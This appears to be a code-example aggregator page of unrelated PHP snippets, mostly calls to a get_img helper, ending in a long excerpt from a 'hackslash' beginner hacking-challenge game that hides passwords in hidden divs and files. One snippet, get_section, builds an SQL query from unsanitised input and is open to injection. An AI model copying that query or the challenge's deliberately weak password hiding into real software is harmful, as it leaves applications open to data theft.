Beispiel #1
0
function geshiimg($geshi, $desc)
{
    preg_match_all('|http:(.*?).' . $geshi . '|', $desc, $productdesc_img, PREG_SET_ORDER);
    if ($productdesc_img) {
        foreach ($productdesc_img as $productdesc_img_k => $productdesc_img_v) {
            $img_str = strstr($productdesc_img_v[0], 'http://');
            if ($img_str) {
                $productdesc_new_img = get_img($productdesc_img_v[0]);
                $desc = preg_replace("|{$productdesc_img_v['0']}|", $productdesc_new_img, $desc);
            }
        }
    }
    return $desc;
}
function get_flipper($row, $preset, $height, $nid)
{
    $output = '';
    if (isset($row->field_field_images[1])) {
        $output .= '<div class="flip-container" ontouchstart="this.classList.toggle(\'hover\');">
                  <div class="flipper">
                    <div class="front-face">';
        $output .= get_img($row, $preset, $height, $nid);
        $output .= '</div>
                    <div class="back-face">';
        $output .= get_img($row, $preset, $height, $nid, 1);
        $output .= '</div>
                  </div>
               </div>';
    } else {
        $output = get_img($row, $preset, $height, $nid);
    }
    return $output;
}
Beispiel #3
0
 public function pm()
 {
     if (!isset($_SESSION['user'])) {
         redirect('/');
     }
     // Navigation Panel
     $nav = array();
     $nav['navigation'] = get_link(__('Home'), '/') . __('Separator') . get_link(h($this->module_title), '/users/') . __('Separator') . __('PM nav');
     $this->_globalize($nav);
     $markers = array('error' => '');
     $messages = $this->Model->getUserDialogs($_SESSION['user']['id']);
     if (!is_array($messages) || !count($messages)) {
         $markers['messages'] = array();
         $markers['errors'] = __('This dir is empty');
         $source = $this->render('pm.html', array('context' => $markers));
         return $this->_view($source);
     }
     foreach ($messages as $message) {
         // Если сообщение еще не прочитано
         $icon = $message->getViewed() == 0 ? 'folder_new' : 'folder';
         $message->setIcon(get_img('/template/' . getTemplateName() . '/img/' . $icon . '.gif'));
         $message->setEntryLink(get_link(h($message->getSubject()), '/users/pm_view/' . $message->getId()));
         $message->setEntryUrl(get_url('/users/pm_view/' . $message->getId()));
         $message->setDeleteLink(get_link(__('Delete'), '/users/pm_delete/' . $message->getId(), array('onClick' => "return confirm('" . __('Are you sure') . "');")));
         $message->setMessage(h($message->getMessage()));
     }
     //pr($messages[0]->getTouser()->getAvatar()); die();
     $source = $this->render('pm.html', array('messages' => $messages, 'context' => $markers));
     return $this->_view($source);
 }
Beispiel #4
0
                <a href="index.php?action=logout" class="badge badge-important" data-toggle="tooltip" data-placement="right" title="Đăng xuất">
                    <i class="icon-signout"></i>
                </a>
            </div>
            <!-- <a href=".?action=1">
                <img src=<?php 
echo get_img($_SESSION['is_valid']);
?>
 alt="Avatar">
            </a>
 -->

            <!--- Start bootstrap image-->

                <img src=<?php 
echo get_img($_SESSION['is_valid']);
?>
 alt="Avatar" class="lightbox_trigger">

                <div id="lightbox" style="display:none">
                    
                    <div id="content" >
                        <img src="#"/>
                    </div>
                </div>

                <script>
                jQuery(document).ready(function($) {
                    
                    $('.lightbox_trigger').click(function(e) {
                        
Beispiel #5
0
get_img("banner/sm_now1.png");
?>
</td>
<td><?php 
get_img("banner/sm_now2.png");
?>
</td>
</tr>
<td><?php 
get_img("banner/sm_now3.png");
?>
</td>
<td><?php 
get_img("banner/sm_now4.png");
?>
</td>
</table>

<p>
<?php 
echo get_string($BannersCreatorText);
?>
</p>

<p>
<?php 
echo get_string($BannersCreator2Text);
get_img("banner/sm_now5.png");
?>

 function showWaterMarkText($settings)
 {
     $params = array('style' => 'max-width:200px; max-height:200px;');
     $file = '/sys/img/watermark_text.png';
     if (file_exists(ROOT . $file)) {
         return get_img('/sys/img/watermark_text.png', $params);
     }
     return '';
 }
            if ($this->ACL->turn(array($this->module, 'edit_comments'), false)) {
                $moder_panel .= get_link('', '/' . $this->module . '/edit_comment_form/' . $comment->getId(), array('class' => 'fps-edit')) . '&nbsp;';
                $adm = true;
            }
            if ($this->ACL->turn(array($this->module, 'delete_comments'), false)) {
                $moder_panel .= get_link('', '/' . $this->module . '/delete_comment/' . $comment->getId(), array('class' => 'fps-delete', 'onClick' => "return confirm('" . __('Are you sure') . "')")) . '&nbsp;';
                $adm = true;
            }
            if ($adm) {
                $moder_panel = '<a target="_blank" href="https://apps.db.ripe.net/search/query.html?searchtext=' . h($ip) . '" class="fps-ip" title="IP: ' . h($ip) . '"></a>' . $moder_panel;
            }
            $img = array('alt' => 'User avatar', 'title' => h($comment->getName()), 'class' => 'ava');
            if ($comment->getUser_id() && file_exists(ROOT . '/sys/avatars/' . $comment->getUser_id() . '.jpg')) {
                $markers['avatar'] = get_img('/sys/avatars/' . $comment->getUser_id() . '.jpg', $img);
            } else {
                $markers['avatar'] = get_img('/sys/img/noavatar.png', $img);
            }
            if ($comment->getUser_id()) {
                $markers['name_a'] = get_link(h($comment->getName()), getProfileUrl((int) $comment->getUser_id()));
                $markers['user_url'] = get_url(getProfileUrl((int) $comment->getUser_id()));
                $markers['avatar'] = get_link($markers['avatar'], $markers['user_url']);
            } else {
                $markers['name_a'] = h($comment->getName());
            }
            $markers['moder_panel'] = $moder_panel;
            $markers['message'] = $this->Textarier->parseBBCodes($comment->getMessage(), $comment);
            $comment->setAdd_markers($markers);
        }
    }
    $html = $this->render('viewcomment.html', array('commentsr' => $comments));
} else {
 /**
  * Replace an attaches markers.
  *
  * @param $message string
  * @param $entity object
  * @param $module string
  */
 public function insertImageAttach($message, $entity, $module = null)
 {
     $Register = Register::getInstance();
     $attachment = null;
     $module = !empty($module) ? $module : $Register['module'];
     $attaches = $module == 'forum' ? $entity->getAttacheslist() : $entity->getAttaches();
     if (!$attaches) {
         return $message;
     }
     $sizex = Config::read('img_size_x', $module);
     $sizey = Config::read('img_size_y', $module);
     $sizex = intval($sizex);
     $sizey = intval($sizey);
     $style = ' style="max-width:' . $sizex . 'px; max-height:' . $sizey . 'px;"';
     if (!empty($attaches) && count($attaches) > 0) {
         $attachDir = ROOT . '/sys/files/' . $module . '/';
         foreach ($attaches as $attach) {
             if (file_exists($attachDir . $attach->getFilename())) {
                 if ($attach->getIs_image() == 1) {
                     $message = str_replace('{IMAGE' . $attach->getAttach_number() . '}', '<a class="gallery" href="' . get_url('/sys/files/' . $module . '/' . $attach->getFilename()) . '"><img' . $style . ' alt="' . h($entity->getTitle()) . '" title="' . h($entity->getTitle()) . '" title="" src="' . get_url('/image/' . $module . '/' . $attach->getFilename()) . '" /></a>', $message);
                 } else {
                     $attachment .= __('Attachment') . $attach->getAttach_number() . ': ' . get_img('/sys/img/file.gif', array('alt' => __('Open file'), 'title' => __('Open file'))) . '&nbsp;' . get_link($attach->getSize() / 1000 . ' Kb', '/forum/download_file/' . $attach->getFilename(), array('target' => '_blank')) . '<br />';
                 }
             }
         }
     }
     if (!empty($attachment)) {
         $entity->setAttachment($attachment);
     }
     if (preg_match_all('#\\{ATTACH(\\d+)(\\|(\\d+))?(\\|(left|right))?(\\|([^\\|\\}]+))?\\}#ui', $message, $matches)) {
         $sizes = array();
         $floats = array();
         $descriptions = array();
         foreach ($matches[1] as $key => $id) {
             $sizes[$id] = !empty($matches[3][$key]) ? intval($matches[3][$key]) : false;
             $floats[$id] = !empty($matches[5][$key]) ? 'float:' . $matches[5][$key] . ';' : false;
             $descriptions[$id] = !empty($matches[7][$key]) ? $matches[7][$key] : false;
         }
         $attaches = $module == 'forum' ? $entity->getAttacheslist() : $entity->getAttaches();
         if ($attaches) {
             foreach ($attaches as $attach) {
                 if ($attach->getIs_image() == 1) {
                     $style_ = array_key_exists($attach->getId(), $sizes) && !empty($sizes[$attach->getId()]) ? ' style="width:' . $sizes[$attach->getId()] . 'px;' . $floats[$attach->getId()] . '"' : $style;
                     $size = array_key_exists($attach->getId(), $sizes) && !empty($sizes[$attach->getId()]) ? '/' . $sizes[$attach->getId()] : '';
                     $descr = !empty($descriptions[$attach->getId()]) ? '<div class="atm-img-description">' . h($descriptions[$attach->getId()]) . '</div>' : '';
                     $message = preg_replace('#\\{ATTACH' . $attach->getId() . '[^\\}]*\\}#ui', '<a class="gallery" href="' . get_url('/sys/files/' . $module . '/' . $attach->getFilename()) . '"><img' . $style_ . ' alt="' . h($entity->getTitle()) . '" title="' . h($entity->getTitle()) . '" src="' . get_url('/image/' . $module . '/' . $attach->getFilename()) . $size . '" />' . $descr . '</a>', $message);
                 } else {
                     $message = preg_replace('#\\{ATTACH' . $attach->getId() . '[^\\}]*\\}#', __('Attachment') . $attach->getAttach_number() . ': ' . get_img('/sys/img/file.gif', array('alt' => __('Open file'), 'title' => __('Open file'))) . '&nbsp;' . get_link($attach->getSize() / 1000 . ' Kb', '/forum/download_file/' . $attach->getFilename(), array('target' => '_blank')) . '<br />', $message);
                 }
             }
         }
     }
     return $message;
 }
Beispiel #9
0
function get_section($dbconn, $pagina)
{
    $query = "SELECT * FROM requilib_website.section WHERE pagina = '" . $pagina . "'";
    $query_response = mysql_query($query, $dbconn) or die(mysql_error());
    $counter = 0;
    $section = [];
    while ($row = mysql_fetch_array($query_response)) {
        $section[$counter]['id'] = $row['id'];
        $section[$counter]['alt_id'] = $row['alt_id'];
        $section[$counter]['nome'] = $row['nome'];
        $section[$counter]['text'] = $row['texto'];
        //get associated images
        $section[$counter]['img'] = get_img($dbconn, 'section', $tecnica[$counter]['id']);
        $counter++;
        //proxima medicao da tabela SQL
    }
    return $section;
}
        <div class="block-title">
            
            <h4>Thông tin cá nhân</h4>
        </div>
        <!-- END User Profile Title -->

        <!-- User Profile Content -->
        <div class="block-content">
            <!-- User Profile Content -->
            <div class="row-fluid">
                <!-- First Column -->
                <div class="span3">
                    <!-- Avatar -->
                    <div class="block-section text-center">
                        <img src=<?php 
echo get_img($_SESSION['view_people']);
?>
 alt="Avatar" style="padding-right: 40px;width:375px;height=500px; ">
                    </div>

                    <?php 
if ($_SESSION['view_people'] == $_SESSION['is_valid']) {
    ?>

                        <form action="index.php" method="post" enctype="multipart/form-data">
                            Thay ảnh đại diện:
                            <input type="file" class="btn" name="file"/> 
                            <input type="hidden" name="EId" value="<?php 
    echo $people['EId'];
    ?>
">
/**
*
* @package hackslash
* @version GIT: $Id$ Rewrite Imminent 
* @copyright (c) 2015 rage28 (rage28@gmail.com) & Xubz (me@xubz.com)
*
*/
function get_challenge_data($ch_id = 0)
{
    global $script_path;
    global $_ext;
    global $pwdlist;
    if ($ch_id <= 0 || $ch_id > 10) {
        return 0;
    }
    switch ($ch_id) {
        case 1:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 5;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.1<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>
	<b></b><b>Dr.House</b> created a website to store his personal and work data.<br />
	However, just to store some data that was unimportant to others he felt the website <b>need not be secured</b>.<br /><br />
	<div style="display:none">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec tempor tellus ac lectus.
	Sed porttitor nonummy leo. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas ac
	nunc sit amet dui venenatis lacinia. Duis mauris felis, tristique quis, dictum eget, commodo tempor,
	enim. Nullam pede. Proin ultricies fringilla elit. Praesent venenatis ante sed metus. Quisque pretium a
	uctor nisl. Aenean tincidunt vestibulum enim. Pellentesque ipsum est, egestas ut, placerat ac, eleifend ve
	l, quam. Mauris adipiscing dignissim ante. Morbi ut diam. Donec facilisis, augue porttitor commodo facilisis,
	 mi eros commodo diam, vitae accumsan tortor tortor sit amet metus. Suspendisse porttitor elit sed pede.
	 Aliquam erat volutpat. Phasellus facilisis fermentum ante.<br />
	<br />Proin pharetra nisl a mi. Nam fringilla lectus quis odio. In feug
	iat, urna at commodo imperdiet, ipsum pede imperdiet tortor, ac venenatis leo f
	elis condimentum dui. Etiam vitae justo. Cum sociis natoque penatibus et
	magnis dis parturient montes, nascetur ridiculus mus. Morbi erat. In commodo bibendum
	neque. Nullam rutrum tincidunt tortor. Suspendisse potenti. In imperdiet tincidunt nunc. Donec id dolor.<br />
	<br />Duis id velit eu augue elementum euismod. Sed nulla. In nisi dui, adipisci
	ng quis, rutrum ut, tristique at, eros. Nulla quis lorem. Curabitur dictum,</div>
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-1 Point)">
	</form>
		<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-1 Point)") {
                if ($_SESSION['hs_challocatedpts'] == 5) {
                    $_SESSION['hs_challocatedpts']--;
                    clue_taken($_SESSION['hs_challocatedpts']);
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Read the question <b>Carefully</b>; Read FAQ if you are confused.</small><br /><br />";
            }
            break;
        case 2:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 10;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.2<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>

	Unfortunately, somebody broke into House's website and tried to steal his data.<br /> He decided that keeping his website unsecured isn't viable anymore.<br /> 
	So he stored his password in such a way that it was <b>hidden from a normal view</b>.<br /><br />
	
	<div id="leet"><div class="hs">
	 lorem non fringilla vulputate, </div><span><?php 
                echo $pwdlist[1][0];
                ?>
</span><div class="hs"> nunc tellus mollis massa, eget imperdiet urna metus a pede. </div><span><?php 
                echo $pwdlist[1][1];
                ?>
</span><div class="hs">  Sed blandit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante eu nisi. Phasellus  non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl  </div><span><?php 
                echo $pwdlist[1][2];
                ?>
</span><div class="hs"> nunc, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, dui. Vivamus convallis rhoncus metus. Ut id velit. Maecenas </div><span><?php 
                echo $pwdlist[1][3];
                ?>
</span><div class="hs">  metus augue, lobortis eu, cursus volutpat, molestie id, est. Etiam in orci eu nunc sodales </div><span><?php 
                echo $pwdlist[1][4];
                ?>
</span><div class="hs">  aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea  </div><span><?php 
                echo $pwdlist[1][5];
                ?>
</span><div class="hs"> dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus etnetus et malesuada fames ac turpis egestas. Vivamus est sem,  </div><span><?php 
                echo $pwdlist[1][6];
                ?>
</span><div class="hs">  varius sed, euismod ac, luctus nec, nulla. Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae nulla. </div><span><?php 
                echo $pwdlist[1][7];
                ?>
</span><div class="hs">  Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in terdum convallis, </div><span><?php 
                echo $pwdlist[1][8];
                ?>
</span><div class="hs">  odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Duis eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br /> </div><span><?php 
                echo $pwdlist[1][9];
                ?>
</span><div class="hs"> 
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.</div></div><br /><br />

	<small>Find out and Enter the Password below</small>

	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-2 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-2 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 10) {
                    $_SESSION['hs_challocatedpts'] -= 2;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Again, read the question carefully. Also, why is there a <b>LARGE GAP</b>??!! ;-)</small><br /><br />";
            }
            break;
        case 3:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 15;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.3<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>
	Dr.House's data was compromised... Again!! He now thinks its time to hide the password in a better way.<br /> 
	So now, he hid it in a <b>text file</b>.</b><br /><br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
	<div style="display:none">
	lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	i. Vivamus convallis rhoncus metus. Ut <?php 
                echo $script_path . "mypassword.txt";
                ?>
 id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	, est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-3 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-3 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 15) {
                    $_SESSION['hs_challocatedpts'] -= 3;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Oh come on.. Its a <b>TEXT</b> file</small> :-/ <br /><br />";
            }
            break;
        case 4:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 20;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.4<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>
	House was losing his nerve. So he uploaded the password to a <b>html file</b> and <b>encrypted</b> it.<br /><br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
		<input type="hidden" name="encpasswd" value="<?php 
                echo $script_path;
                ?>
password.html">
		<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-4 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-4 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 20) {
                    $_SESSION['hs_challocatedpts'] -= 4;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Remember to check the source and that the password is <b>ENCRYPTED</b>.</small><br /><br />";
            }
            break;
        case 5:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 25;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.5<br />
<?php 
